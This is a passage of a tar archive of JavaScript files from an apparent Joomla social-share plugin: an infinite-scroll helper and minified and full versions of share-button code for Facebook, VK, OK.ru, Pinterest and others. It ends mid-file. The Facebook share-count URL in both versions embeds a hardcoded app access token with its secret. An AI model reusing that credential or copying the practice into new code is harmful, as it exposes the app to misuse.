jQuery(function ($) {
    twShareObject.init();
});

                                                                                                                                                                          content/jllike/js/pioneers-scroll.js                                                                0000705                 00000006627 15242051520 0013567 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function(jQuery, undefined) {
	var
		$d = jq(document),
		$w = jq(window);
		
		
	var Request = new Object();

	Request = jq.extend(Request, {
		initialized: false,
		params: {},
		init: function() {
			var get = {}
			get.clean = (window.location.search).replace('?', '');
			get.parts = get.clean.split('&');
			for(var i in get.parts) {
				var matched = get.parts[i].match(/([^\s=]*)=([^\s]*)/);
				if(matched) {
					Request.params[matched[1]] = matched[2];
				}
			}
		},
		get: function(key) {
			return Request.params[key] ? Request.params[key] : null;
		}
	});

	Request.init();
	
	var Scroll = {
		
		config: {
			selectors: {
				eventContainer: '.event-container',
				visibleYears: '.year-hidden:has(.event-container:not(.event-hidden))',
				hiddenYears: 'tr:has(.event-container.event-hidden)',
				lastVisibleEvent: '.event-container:not(.event-hidden)'
			}
		},
		
		isBottom : function() {
			var pos = ($d.height() - $w.height()) - $w.scrollTop();
			
			if(pos < 150) {
				return true;
			}
			return false;
		},
		
		loadNext: function(n) {
			var
				last = this.lastVisible().index, 
				$e = this.eventsCache.slice(last, last + n + 1);
			
			$e
				.fadeIn(1000)
				.removeClass('event-hidden');
			
			this.showVisibleYears();
		},
		
		showVisibleYears: function() {
			var 
				$y = jq(this.config.selectors.visibleYears)
			
			$y
				.removeClass('year-hidden');
				
			$y.each(function(index, element) {
				jq(element)
					.next()
					.removeClass('year-spacer-hidden');
			});
		},
		
		loadUntil: function(id) {
			var
				until = -1,
				idVal = id.replace('#', '');
			
			if(!this.eventsCache) {
				this.preloadEvents();
			}
			
			this.eventsCache.each(function(index, element) {
				if(until < 0) {
					var $e = jq(element);
					if($e.attr('id') == idVal) {
						until = index;
					}
				}
			});
			
			var 
				context = this,
				$e = this.eventsCache.slice(0, until + 2),
				$scrollTo = $e.eq(until);
			
				$e
					.fadeIn(1000, function() {
						setTimeout(function() {
							context.showVisibleYears();
							if(!Scroll.scrolledTo) {
								jq('html,body')
									.animate({
										scrollTop: $scrollTo.offset().top,
										scrollLeft: $scrollTo.offset().left
									}, 1000);
							}
							Scroll.scrolledTo = true;
						}, 10);
					})
					.removeClass('event-hidden');				
		},
		
		eventsCache: null,
		
		preloadEvents: function() {
			this.eventsCache = jq(this.config.selectors.eventContainer);
			this.showVisibleYears();
			
		},
		
		lastVisible: function() {
			var 
				$elements = jq(this.config.selectors.lastVisibleEvent),
				$last = $elements.last();
				
			return {
				index: $elements.size() - 1,
				id: $last.attr('id')
			}
		}
		
	};
	
	jq.fn.pioneersScroll = function(portion) {
		Scroll.preloadEvents();
		
		$d.scroll(function(e) {
			
			if(Scroll.isBottom()) {
				Scroll.loadNext(portion || 1)
			}
			
		});
		
//		$d.bind('hashChange', function(e, newHash) {
//			Scroll.loadUntil(newHash);
//		});
		
		return this;
	};
	
	jq.fn.pioneersScrollUntil = function(id) {
		Scroll.loadUntil(id);
		
		return this;
	};
	
	$d.ready(function($) {
		jq().pioneersScroll();
		
		var hash = '#' + Request.get('social_hash');
		if(jq(hash).length > 0) {
			Scroll.loadUntil(hash)
		}
		
	});
	
})(jQuery);
                                                                                                         content/jllike/js/index.html                                                                        0000705                 00000000040 15242051520 0012065 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html>
<body>
</body>
</html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                content/jllike/js/buttons.min.js                                                                    0000705                 00000040472 15242051520 0012723 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       var socialButtonCountObjects={},jllikeproShareUrls={mail:{},pinteres:{},linkedin:{}};jQuery.noConflict(),function($,w,d,undefined){function getParam(key){if(key){var pairs=top.location.search.replace(/^\?/,"").split("&");for(var i in pairs){var current,match=pairs[i].match(/([^=]*)=(\w*)/);if(match[1]===key)return decodeURIComponent(match[2])}}return!1}var ButtonConfiguration=function(params){return params?$.extend(!0,ButtonConfiguration.defaults,params):ButtonConfiguration.defaults};ButtonConfiguration.defaults={selectors:{facebookButton:".l-fb",twitterButton:".l-tw",vkontakteButton:".l-vk",odnoklassnikiButton:".l-ok",mailButton:".l-ml",linButton:".l-ln",pinteresButton:".l-pinteres",LivejournalButton:".l-lj",BloggerButton:".l-bl",WeiboButton:".l-wb",TelegramButton:".l-tl",WhatsappButton:".l-wa",ViberButton:".l-vi",count:".l-count",ico:".l-ico",shareTitle:"h2:eq(0)",shareSumary:"p:eq(0)",shareImages:"img[src]"},buttonDepth:2,alternativeImage:"",alternativeSummary:"",alternativeTitle:"",forceAlternativeImage:!1,forceAlternativeSummary:!1,forceAlternativeTitle:!1,classes:{countVisibleClass:"like-not-empty"},keys:{shareLinkParam:"href"},popupWindowOptions:["left=0","top=0","width=500","height=400","personalbar=0","toolbar=0","scrollbars=1","resizable=1"]};var Button=function(){};Button.lastIndex=0,Button.prototype={init:function($context,conf,index){this.config=conf,this.index=index,this.id=$($context).attr("id"),this.$context=$context,this.$count=$(this.config.selectors.count,this.$context),this.$ico=$(this.config.selectors.ico,this.$context),this.collectShareInfo(),this.bindEvents(),this.ajaxRequest=this.countLikes()},bindEvents:function(){this.$context.bind("click",Button.returnFalse),this.$ico.parent().bind("click",this,this.openShareWindow)},setCountValue:function(count){this.$context.addClass(this.config.classes.countVisibleClass),this.$count.text(count)},getCountLink:function(url){return this.countServiceUrl+encodeURIComponent(url)},collectShareInfo:function(){var $parent=this.$context,button=this;$parent=jQuery(jllickeproSettings.parentContayner).length>0?$parent.parents(jllickeproSettings.parentContayner).parent():$parent.parents(".jllikeproSharesContayner").parent();var $tmpParent,href=$("input.link-to-share",$parent).val(),title=$("input.share-title",$parent).val(),image=$("input.share-image",$parent).val(),origin=jllickeproSettings.url,$title=$(this.config.selectors.shareTitle,$parent),$summary;if($title.length||($title=$(this.config.selectors.shareTitle,$tmpParent)),($summary=$("input.share-desc",$parent).val()).length||($summary=$(this.config.selectors.shareSumary,$parent).text()),$summary.length||($summary=$parent.text()),$summary.length||($summary=$parent.parent().text()),this.domenhref=w.location.protocol+"//"+w.location.host,this.linkhref=jllickeproSettings.url+w.location.pathname+w.location.search,this.linkToShare=href||this.linkhref,this.title=""!=title?title:$title.text(),this.config.forceAlternativeTitle?this.title=this.config.alternativeTitle:""==this.title&&this.config.alternativeTitle?this.title=this.config.alternativeTitle:""==this.title&&(this.title=d.title),$summary.length>0?this.summary=$summary:this.summary=this.config.alternativeSummary?this.config.alternativeSummary:"",this.summary=this.summary.length>200?cropText(this.summary,200)+"...":this.summary,this.images=[],void 0!==image&&image.length)this.images[0]=image;else{var $images=$(this.config.selectors.shareImages,$parent);if($tmpParent=$parent,!$images.length)for(var $i=0;0==$images.length&&$i<20;)$i++,$tmpParent=$tmpParent.parent(),$images=$(this.config.selectors.shareImages,$tmpParent).not("#waitimg");$images.length>0&!this.config.forceAlternativeImage?($images.each((function(index,element){button.images[index]=element.src})),this.images=button.images):this.images[0]=this.config.alternativeImage?this.config.alternativeImage:void 0}},getPopupOptions:function(){return this.config.popupWindowOptions.join(",")},plusOne:function(){var parent=$("#"+this.id),counter=$("span.l-count",parent),count=counter.text();count=""==count?0:parseInt(count),parent.addClass("like-not-empty"),counter.text(count+1)},disableMoreLikes:function(){if(jllickeproSettings.disableMoreLikes){var parent=$("#"+this.id).parents(".jllikeproSharesContayner"),id=parent.children(".share-id").val(),date=new Date((new Date).getTime()+2592e6);document.cookie="jllikepro_article_"+id+"=1; path=/; expires="+date.toUTCString();var div=$("<div/>").addClass("disable_more_likes");parent.prepend(div)}},openShareWindow:function(e){var button=e.data,shareUri=button.getShareLink(),windowOptions=button.getPopupOptions(),newWindow=w.open(shareUri,"",windowOptions);button.plusOne(),button.disableMoreLikes(),w.focus&&newWindow.focus()},linkToShare:null,title:d.title,summary:null,images:[],countServiceUrl:null,$context:null,$count:null,$ico:null},Button=$.extend(Button,{returnFalse:function(e){return!1}});var cropText=function(text,length){var result="";return text.split(" ").every((function(item){var tmp=$.trim(item);return result.length+tmp.length<=length&&(""!=tmp&&(result+=" "+tmp),!0)})),result},FacebookButton=function($context,conf,index){this.init($context,conf,index),this.type="facebook"};FacebookButton.prototype=new Button,FacebookButton.prototype=$.extend(FacebookButton.prototype,{countLikes:function(){if(jllickeproSettings.enableCounters){var serviceURI=this.getCountLink(this.linkToShare),id=this.id;return $.ajax({url:serviceURI,dataType:"jsonp",success:function(data,status,jqXHR){if("success"==status&&void 0!==data.engagement&&void 0!==data.engagement.share_count&&data.engagement.share_count>0){var elem=$("#"+id);elem.addClass("like-not-empty"),$("span.l-count",elem).text(data.engagement.share_count),jllikeproAllCouner(elem)}}})}},getShareLink:function(){var url;return"https://www.facebook.com/sharer/sharer.php?u="+encodeURIComponent(this.linkToShare)+"&display=popup"},countServiceUrl:"https://graph.facebook.com/v4.0/?access_token=112243502800823|oj4WG8tofQaE5avNxB86XB4GkLE&fields=engagement&id="});var TwitterButton=function($context,conf,index){this.init($context,conf,index),this.type="twitter"};TwitterButton.prototype=new Button,TwitterButton.prototype=$.extend(TwitterButton.prototype,{countLikes:function(){},getShareLink:function(){var text=cropText(this.summary,140-this.title.length-this.linkToShare.length);return"https://twitter.com/intent/tweet?url="+encodeURIComponent(this.linkToShare)+"&text="+encodeURIComponent(this.title+". "+text)},countServiceUrl:"https://urls.api.twitter.com/1/urls/count.json?url="});var VkontakteButton=function($context,conf,index){this.init($context,conf,index),this.type="vkontakte"};VkontakteButton.prototype=new Button,VkontakteButton.prototype=$.extend(VkontakteButton.prototype,{countLikes:function(){if(jllickeproSettings.enableCounters){w.socialButtonCountObjects[this.index]=this;var serviceURI=this.getCountLink(this.linkToShare)+"&index="+this.index;if(void 0===w.VK&&(w.VK={}),void 0===w.VK.Share&&(w.VK.Share={}),void 0===w.VK.Share.count)w.VK.Share.count=function(index,count){vkShare(index,count)};else{var originalVkCount=w.VK.Share.count;w.VK.Share.count=function(index,count){vkShare(index,count),originalVkCount.call(w.VK.Share,index,count)}}return $.ajax({url:serviceURI,dataType:"jsonp"})}function vkShare(index,count){if(count>0){var id=w.socialButtonCountObjects[index].id,elem=$("#"+id);elem.addClass("like-not-empty"),$("span.l-count",elem).text(count),jllikeproAllCouner(elem)}}},getShareLink:function(){return"http://vk.com/share.php?url="+encodeURIComponent(this.linkToShare)},countServiceUrl:"https://vk.com/share.php?act=count&url="});var odnoklassnikiButton=function($context,conf,index){this.init($context,conf,index),this.type="odnoklassniki"};odnoklassnikiButton.prototype=new Button,odnoklassnikiButton.prototype=$.extend(odnoklassnikiButton.prototype,{countLikes:function(){if(jllickeproSettings.enableCounters){var serviceURI=this.getCountLink(this.id,this.linkToShare);if(w.ODKL){var originalOdCount=ODKL.updateCount;ODKL.updateCount=function(elementId,count){odklShare(elementId,count),originalOdCount(elementId,count)}}else w.ODKL={updateCount:function(elementId,count){odklShare(elementId,count)}};var id=this.id;return $.ajax({url:serviceURI,dataType:"jsonp"})}function odklShare(elementId,count){if(count>0){var elem=$("#"+elementId);elem.addClass("like-not-empty"),$("span.l-count",elem).text(count),jllikeproAllCouner(elem)}}},getShareLink:function(){return"https://connect.ok.ru/offer?url="+this.linkToShare+"&description="+encodeURIComponent(this.summary)},getCountLink:function(id,linkToShare){return this.countServiceUrl+id+"&ref="+encodeURIComponent(linkToShare)},countServiceUrl:"https://connect.ok.ru/dk?st.cmd=extLike&uid="});var mailButton=function($context,conf,index){this.init($context,conf,index),this.type="mailButton"};mailButton.prototype=new Button,mailButton.prototype=$.extend(mailButton.prototype,{countLikes:function(){if(jllickeproSettings.enableCounters){var id=this.id,serviceURI=this.getCountLink(this.linkToShare);return $.ajax({url:serviceURI,dataType:"jsonp",success:function(data,status,jqXHR){if("success"==status&&void 0!==data.share_mm&&data.share_mm>0){var elem=$("#"+id);elem.addClass("like-not-empty"),$("span.l-count",elem).text(data.share_mm),jllikeproAllCouner(elem)}}})}},getCountLink:function(linkToShare){return this.countServiceUrl+encodeURIComponent(linkToShare.replace("http://","").replace("https://",""))},getShareLink:function(){return url="https://connect.mail.ru/share?url="+encodeURIComponent(this.linkToShare)+"&image_url="+encodeURIComponent(this.images[0])+"&title="+encodeURIComponent(this.title)+"&description="+encodeURIComponent(this.summary)},countServiceUrl:"https://appsmail.ru/share/count/"});var linButton=function($context,conf,index){this.init($context,conf,index),this.type="linButton"};linButton.prototype=new Button,linButton.prototype=$.extend(linButton.prototype,{countLikes:function(){if(jllickeproSettings.enableCounters){jllikeproShareUrls.linkedin[this.linkToShare]=this.id,w.setLinkedInCount=function(data){if(jllikeproShareUrls.linkedin.hasOwnProperty(data.url)){var id=jllikeproShareUrls.linkedin[data.url],shares=data.count;if(shares>0){var elem=$("#"+id);elem.addClass("like-not-empty"),$("span.l-count",elem).text(shares),jllikeproAllCouner(elem)}}};var serviceURI=this.getCountLink(this.linkToShare);return $.ajax({url:serviceURI,dataType:"jsonp"})}},getShareLink:function(){return"http://www.linkedin.com/shareArticle?mini=true&ro=false&trk=bookmarklet&url="+this.linkToShare},countServiceUrl:"https://www.linkedin.com/countserv/count/share?&callback=setLinkedInCount&format=jsonp&url="});var pinteresButton=function($context,conf,index){this.init($context,conf,index),this.type="pinteresButton"};pinteresButton.prototype=new Button,pinteresButton.prototype=$.extend(pinteresButton.prototype,{countLikes:function(){if(jllickeproSettings.enableCounters)return jllikeproShareUrls.pinteres[this.linkToShare]=this.id,w.setPinteresCount=function(data){if(data.hasOwnProperty("count")){if(!jllikeproShareUrls.pinteres.hasOwnProperty(data.url))return;var id=jllikeproShareUrls.pinteres[data.url];if(data.count>0){var elem=$("#"+id);elem.addClass("like-not-empty"),$("span.l-count",elem).text(data.count),jllikeproAllCouner(elem)}}},serviceURI=this.getCountLink(this.linkToShare),$.ajax({url:serviceURI,dataType:"jsonp"})},getShareLink:function(){var media=null!=this.images[0]?this.images[0]:"";return"http://www.pinterest.com/pin/create/button/?url="+encodeURIComponent(this.linkToShare)+"&media="+media+"&description="+this.summary},countServiceUrl:"https://api.pinterest.com/v1/urls/count.json?callback=setPinteresCount&url="});var LivejournalButton=function($context,conf,index){this.init($context,conf,index),this.type="livejournal"};LivejournalButton.prototype=new Button,LivejournalButton.prototype=$.extend(LivejournalButton.prototype,{countLikes:function(){},getShareLink:function(){return"http://livejournal.com/update.bml?subject="+encodeURIComponent(this.title)+"&event="+encodeURIComponent('<a href="'+this.linkToShare+'">'+this.title+"</a> "+this.summary)},countServiceUrl:"http://livejournal.com/"});var BloggerButton=function($context,conf,index){this.init($context,conf,index),this.type="Blogger"};BloggerButton.prototype=new Button,BloggerButton.prototype=$.extend(BloggerButton.prototype,{countLikes:function(){},getShareLink:function(){return"https://www.blogger.com/blog-this.g?u="+encodeURIComponent(this.linkToShare)+"&n="+encodeURIComponent(this.title)},countServiceUrl:"https://www.blogger.com/"});var WeiboButton=function($context,conf,index){this.init($context,conf,index),this.type="Weibo"};WeiboButton.prototype=new Button,WeiboButton.prototype=$.extend(WeiboButton.prototype,{countLikes:function(){},getShareLink:function(){return"http://service.weibo.com/share/share.php?url="+encodeURIComponent(this.linkToShare)+"&title="+encodeURIComponent(this.title)},countServiceUrl:"http://service.weibo.com/"});var TelegramButton=function($context,conf,index){this.init($context,conf,index),this.type="Telegram"};TelegramButton.prototype=new Button,TelegramButton.prototype=$.extend(TelegramButton.prototype,{countLikes:function(){},getShareLink:function(){return"https://t.me/share/url?url=url="+encodeURIComponent(this.linkToShare)+"&text="+encodeURIComponent(this.title)},countServiceUrl:"https://t.me/"});var WhatsappButton=function($context,conf,index){this.init($context,conf,index),this.type="Whatsapp"};WhatsappButton.prototype=new Button,WhatsappButton.prototype=$.extend(WhatsappButton.prototype,{countLikes:function(){},getShareLink:function(){return"https://api.whatsapp.com/send?text="+encodeURIComponent(this.title)+" - "+encodeURIComponent(this.linkToShare)},countServiceUrl:"https://api.whatsapp.com"});var ViberButton=function($context,conf,index){this.init($context,conf,index),this.type="Viber"};ViberButton.prototype=new Button,ViberButton.prototype=$.extend(ViberButton.prototype,{countLikes:function(){},getShareLink:function(){return"viber://forward?text="+encodeURIComponent(this.linkToShare)},countServiceUrl:"https://viber.com"});var jllikeproAllCouner=function(element){var parent=$(element).parents(".jllikeproSharesContayner"),counterSpan=parent.find("span.l-all-count"),counterValue=0,tmpVal;parent.find(".l-count").not(".l-all-count").each((function(){""!=(tmpVal=$(this).text())&&(counterValue+=parseInt(tmpVal))})),counterSpan.text(counterValue)};$.fn.socialButton=function(config){return this.each((function(index,element){setTimeout((function(){var $element=$(element),conf=new ButtonConfiguration(config),b=!1;Button.lastIndex++,$element.is(conf.selectors.facebookButton)?b=new FacebookButton($element,conf,Button.lastIndex):$element.is(conf.selectors.twitterButton)?b=new TwitterButton($element,conf,Button.lastIndex):$element.is(conf.selectors.vkontakteButton)?b=new VkontakteButton($element,conf,Button.lastIndex):$element.is(conf.selectors.odnoklassnikiButton)?b=new odnoklassnikiButton($element,conf,Button.lastIndex):$element.is(conf.selectors.mailButton)?b=new mailButton($element,conf,Button.lastIndex):$element.is(conf.selectors.linButton)?b=new linButton($element,conf,Button.lastIndex):$element.is(conf.selectors.pinteresButton)?b=new pinteresButton($element,conf,Button.lastIndex):$element.is(conf.selectors.LivejournalButton)?b=new LivejournalButton($element,conf,Button.lastIndex):$element.is(conf.selectors.BloggerButton)?b=new BloggerButton($element,conf,Button.lastIndex):$element.is(conf.selectors.WeiboButton)?b=new WeiboButton($element,conf,Button.lastIndex):$element.is(conf.selectors.TelegramButton)?b=new TelegramButton($element,conf,Button.lastIndex):$element.is(conf.selectors.WhatsappButton)?b=new WhatsappButton($element,conf,Button.lastIndex):$element.is(conf.selectors.ViberButton)&&(b=new ViberButton($element,conf,Button.lastIndex)),$.when(b.ajaxRequest).then((function(){$element.trigger("socialButton.done",[b.type])}),(function(){$element.trigger("socialButton.done",[b.type])}))}),0)})),this},$.scrollToButton=function(hashParam,duration){if(!w.location.hash&&w.location.search){var currentHash=getParam(hashParam);if(currentHash){var $to=$("#"+currentHash);$to.length>0&&$("html,body").animate({scrollTop:$to.offset().top,scrollLeft:$to.offset().left},duration||1e3)}}return this}}(jQuery,window,document),jQuery(document).ready((function($){$(".like").socialButton();var likes=$("div.jllikeproSharesContayner"),contayner=jllickeproSettings.buttonsContayner;""!=contayner&&$(contayner).length>0&&likes.length>0&&0==jllickeproSettings.isCategory&&(likes.remove(),$(contayner).html(likes))}));                                                                                                                                                                                                      content/jllike/js/buttons.js                                                                        0000705                 00000077217 15242051520 0012150 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       var socialButtonCountObjects = {};
var jllikeproShareUrls = {
    mail: {},
    pinteres: {},
    linkedin: {}
};

jQuery.noConflict();
(function ($, w, d, undefined) {

    function getParam(key) {
        if (key) {
            var pairs = top.location.search.replace(/^\?/, '').split('&');

            for (var i in pairs) {
                var current = pairs[i];
                var match = current.match(/([^=]*)=(\w*)/);
                if (match[1] === key) {
                    return decodeURIComponent(match[2]);
                }
            }
        }
        return false;
    }

    var ButtonConfiguration = function (params) {
        if (params) {
            return $.extend(true, ButtonConfiguration.defaults, params)
        }
        return ButtonConfiguration.defaults;
    }

    ButtonConfiguration.defaults = {
        selectors: {
            facebookButton: '.l-fb',
            twitterButton: '.l-tw',
            vkontakteButton: '.l-vk',
            odnoklassnikiButton: '.l-ok',
            mailButton: '.l-ml',
            linButton: '.l-ln',
            pinteresButton: '.l-pinteres',
			LivejournalButton: '.l-lj',
			BloggerButton: '.l-bl',
            WeiboButton: '.l-wb',
            TelegramButton: '.l-tl',
            WhatsappButton: '.l-wa',
            ViberButton: '.l-vi',
            count: '.l-count',
            ico: '.l-ico',
            shareTitle: 'h2:eq(0)',
            shareSumary: 'p:eq(0)',
            shareImages: 'img[src]'
        },
        buttonDepth: 2,
        alternativeImage: '',
        alternativeSummary: '',
        alternativeTitle: '',
        forceAlternativeImage: false,
        forceAlternativeSummary: false,
        forceAlternativeTitle: false,

        classes: {
            countVisibleClass: 'like-not-empty'
        },

        keys: {
            shareLinkParam: 'href'
        },

        popupWindowOptions: [
            'left=0',
            'top=0',
            'width=500',
            'height=400',
            'personalbar=0',
            'toolbar=0',
            'scrollbars=1',
            'resizable=1'
        ]
    };

    var Button = function () {
    };
    Button.lastIndex = 0;

    Button.prototype = {
        /*@methods*/
        init: function ($context, conf, index) {
            this.config = conf;
            this.index = index;
            this.id = $($context).attr('id');
            this.$context = $context;
            this.$count = $(this.config.selectors.count, this.$context);
            this.$ico = $(this.config.selectors.ico, this.$context);

            this.collectShareInfo();
            this.bindEvents();
            this.ajaxRequest = this.countLikes();
        },

        bindEvents: function () {
            this
                .$context
                .bind('click', Button.returnFalse);

            this
                .$ico.parent()
                .bind('click', this, this.openShareWindow);
						
        },

        setCountValue: function (count) {
            this
                .$context
                .addClass(this.config.classes.countVisibleClass);

            this
                .$count
                .text(count);
        },

        getCountLink: function (url) {
            return this.countServiceUrl + encodeURIComponent(url);
        },

        collectShareInfo: function () {
            var
                $parent = this.$context,
                button = this;

            if(jQuery(jllickeproSettings.parentContayner).length > 0)
            {
                $parent = $parent.parents(jllickeproSettings.parentContayner).parent();
            }
            else{
                $parent = $parent.parents('.jllikeproSharesContayner').parent();
            }
            var
                $tmpParent,
                href = $('input.link-to-share', $parent).val(),
                title = $('input.share-title', $parent).val(),
                image = $('input.share-image', $parent).val(),
                origin = jllickeproSettings.url,
                $title = $(this.config.selectors.shareTitle, $parent),
                $summary;



            if(!$title.length){
                $title = $(this.config.selectors.shareTitle, $tmpParent);
            }

            $summary = $('input.share-desc', $parent).val();

            if(!$summary.length){
                $summary = $(this.config.selectors.shareSumary, $parent).text();
            }
            if(!$summary.length){
                $summary = $parent.text();
            }
            if(!$summary.length){
                $summary = $parent.parent().text();
            }

            this.domenhref = w.location.protocol + "//" + w.location.host;

            this.linkhref = jllickeproSettings.url + w.location.pathname + w.location.search;

            this.linkToShare = (!href) ? this.linkhref : href;

            //если заголовок в скрытомполе не пуст, то берем его, если пуст, то первый заголовок родителя
            this.title = (title != '') ? title : $title.text();

            if (this.config.forceAlternativeTitle){
                this.title = this.config.alternativeTitle;
            }
            else if (this.title == '' && this.config.alternativeTitle){
                this.title = this.config.alternativeTitle;
            }
            else if(this.title == ''){
                this.title = d.title;
            }

            if ($summary.length > 0)
            {
                this.summary = $summary;
            }
            else
            {
                this.summary = this.config.alternativeSummary ? this.config.alternativeSummary : '';
            }

            this.summary = (this.summary.length > 200) ? cropText(this.summary, 200) + '...' : this.summary;

            this.images = [];

            if(typeof(image) == 'undefined' || !image.length)
            {
                var $images = $(this.config.selectors.shareImages, $parent);

                $tmpParent = $parent;
                if(!$images.length){
                    var $i = 0;
                    while($images.length == 0 && $i < 20){
                        $i++;
                        $tmpParent = $tmpParent.parent();
                        $images = $(this.config.selectors.shareImages, $tmpParent).not('#waitimg');
                    }
                }

                if ($images.length > 0 & !this.config.forceAlternativeImage) {
                    $images.each(function (index, element) {
                        button.images[index] = element.src;
                    });
                    this.images = button.images;
                } else {
                    this.images[0] = this.config.alternativeImage ? this.config.alternativeImage : undefined;
                }
            }
            else
            {
                this.images[0] = image;
            }
        },

        getPopupOptions: function () {
            return this.config.popupWindowOptions.join(',');
        },

        plusOne: function () {
            var parent = $('#'+this.id),
                counter = $('span.l-count', parent),
                count = counter.text();
            count = (count == '') ? 0 : parseInt(count);
            parent.addClass('like-not-empty');
            counter.text(count + 1);
        },

        disableMoreLikes: function () {
            if(jllickeproSettings.disableMoreLikes){
                var parent = $('#'+this.id).parents('.jllikeproSharesContayner');
                var id = parent.children('.share-id').val();
                var date = new Date( new Date().getTime() + 60*60*24*30*1000 );
                document.cookie="jllikepro_article_"+id+"=1; path=/; expires="+date.toUTCString();
                var div = $('<div/>').addClass('disable_more_likes');
                parent.prepend(div);
            }
        },

        openShareWindow: function (e) {
            var
                button = e.data,
                shareUri = button.getShareLink(),
                windowOptions = button.getPopupOptions();

            var
                newWindow = w.open(shareUri, '', windowOptions);

            button.plusOne();
            button.disableMoreLikes();

            if (w.focus) {
                newWindow.focus()
            }
        },

        /*@properties*/
        linkToShare: null,
        title: d.title,
        summary: null,
        images: [],

        countServiceUrl: null,
        $context: null,
        $count: null,
        $ico: null
    };

    Button = $.extend(Button, {
        /*@methods*/
        returnFalse: function (e) {
            return false;
        }

        /*@properties*/

    });

    var cropText = function (text, length) {
        var result = '';
        text
            .split(' ')
            .every( function(item)
            {
                var tmp = $.trim(item);
                if((result.length + tmp.length) <= length)
                {
                    if(tmp != '')
                    {
                        result += ' '+tmp;
                    }
                    return true;
                }
                return false;
            });
        return result;
    };

    var FacebookButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'facebook';
    };
    FacebookButton.prototype = new Button;
    FacebookButton.prototype
        = $.extend(FacebookButton.prototype,
            {
                /*@methods*/
                countLikes: function () {
                    if (!jllickeproSettings.enableCounters) {
                        return;
                    }
                    var serviceURI = this.getCountLink(this.linkToShare);
                    var id = this.id;

                    return $.ajax({
                        url: serviceURI,
                        dataType: 'jsonp',
                        success: function (data, status, jqXHR) {
                            if (status == 'success' && typeof data.engagement != 'undefined' && typeof data.engagement.share_count != 'undefined') {
                                if (data.engagement.share_count > 0) {
                                    var elem = $('#' + id);
                                    elem.addClass('like-not-empty');
                                    $('span.l-count', elem).text(data.engagement.share_count);
                                    jllikeproAllCouner(elem);
                                }
                            }
                        }
                    });
                },

                getShareLink: function () {
                    var url = 'https://www.facebook.com/sharer/sharer.php?u='
                        + encodeURIComponent(this.linkToShare)
                        + '&display=popup';
                    //var url = 'https://www.facebook.com/sharer/sharer.php?s=100';
                    //url += '&p[url]=' + encodeURIComponent(this.linkToShare);
                    //url += '&p[title]=' + encodeURIComponent(this.title);
                    //url += '&p[images][0]=' + encodeURIComponent(this.images[0]);
                    //url += '&p[summary]=' + encodeURIComponent(this.summary);
                    return url;
                },

                /*@properties*/
                countServiceUrl: 'https://graph.facebook.com/v4.0/?access_token=112243502800823|oj4WG8tofQaE5avNxB86XB4GkLE&fields=engagement&id='
            });

    var TwitterButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'twitter';
    };
    TwitterButton.prototype = new Button;
    TwitterButton.prototype
        = $.extend(TwitterButton.prototype,
        {
            /*@methods*/
            countLikes: function () {},

            getShareLink: function () {
                var text = cropText(this.summary,(140 - this.title.length - this.linkToShare.length));
                return 'https://twitter.com/intent/tweet'
                    + '?url=' + encodeURIComponent(this.linkToShare)
                    + '&text=' + encodeURIComponent(this.title+ '. ' + text);
            },

            /*@properties*/
            countServiceUrl: 'https://urls.api.twitter.com/1/urls/count.json?url='
        });


    var VkontakteButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'vkontakte';
    };
    VkontakteButton.prototype = new Button;
    VkontakteButton.prototype
        = $.extend(VkontakteButton.prototype,
        {
            /*@methods*/
            countLikes: function () {
                if(!jllickeproSettings.enableCounters){
                    return;
                }
                w.socialButtonCountObjects[this.index] = this;
                var serviceURI = this.getCountLink(this.linkToShare) + '&index=' + this.index;

                function vkShare(index, count) {
                    if (count > 0) {
                        var id = w.socialButtonCountObjects[index].id;
                        var elem = $('#'+id);
                        elem.addClass('like-not-empty');
                        $('span.l-count', elem).text(count);
                        jllikeproAllCouner(elem);
                    }
                }

                if(typeof w.VK == 'undefined')
                    w.VK = {};
                if(typeof w.VK.Share == 'undefined')
                    w.VK.Share = {};
                if(typeof w.VK.Share.count == 'undefined'){
                    w.VK.Share.count = function (index, count) {
                        vkShare(index, count);
                    };
                } else {
                    var originalVkCount = w.VK.Share.count;

                    w.VK.Share.count = function (index, count) {
                        vkShare(index, count);
                        originalVkCount.call(w.VK.Share, index, count);
                    };
                }

                return $.ajax({
                    url: serviceURI,
                    dataType: 'jsonp'
                });
            },

            getShareLink: function () {
//                return 'http://vkontakte.ru/share.php?'
                return 'http://vk.com/share.php?'
                    + 'url=' + encodeURIComponent(this.linkToShare)
                    // + '&title=' + encodeURIComponent(this.title)
                    // + '&image=' + encodeURIComponent(this.images[0])
                    // + (this.summary ? '&description=' + encodeURIComponent(this.summary) : '')
                    ;
            },

            /*@properties*/
            countServiceUrl: 'https://vk.com/share.php?act=count&url='
        });


// +++++++++

    /***odnoklassniki ***/////
    var odnoklassnikiButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'odnoklassniki';
    };
    odnoklassnikiButton.prototype = new Button;
    odnoklassnikiButton.prototype
        = $.extend(odnoklassnikiButton.prototype,
        {
            /*@methods*/

            countLikes: function ()
            {
                if(!jllickeproSettings.enableCounters){
                    return;
                }
                function odklShare(elementId, count)
                {
                    if (count > 0)
                    {
                        var elem = $('#'+elementId);
                        elem.addClass('like-not-empty');
                        $('span.l-count', elem).text(count);
                        jllikeproAllCouner(elem);
                    }
                }

                var serviceURI = this.getCountLink(this.id, this.linkToShare);

                if (!w.ODKL)
                {
                    w.ODKL = {
                        updateCount: function(elementId, count){
                            odklShare(elementId, count);
                        }
                    }
                }
                else
                {
                    var originalOdCount = ODKL.updateCount;

                    ODKL.updateCount = function (elementId, count)
                    {
                        odklShare(elementId, count);
                        originalOdCount(elementId, count);
                    };
                }
                var id = this.id;
                return $.ajax({
                    url: serviceURI,
                    dataType: 'jsonp'
                });
            },

            getShareLink: function () {
                return 'https://connect.ok.ru/offer?url='
                    + this.linkToShare
                    +'&description=' + encodeURIComponent(this.summary);
            },

            getCountLink: function (id, linkToShare) {
                return this.countServiceUrl + id + '&ref=' + encodeURIComponent(linkToShare);
            },

            /*@properties*/
            countServiceUrl: 'https://connect.ok.ru/dk?st.cmd=extLike&uid='
        });
    /***odnoklassniki ***/////


    /***MAIL ***/////
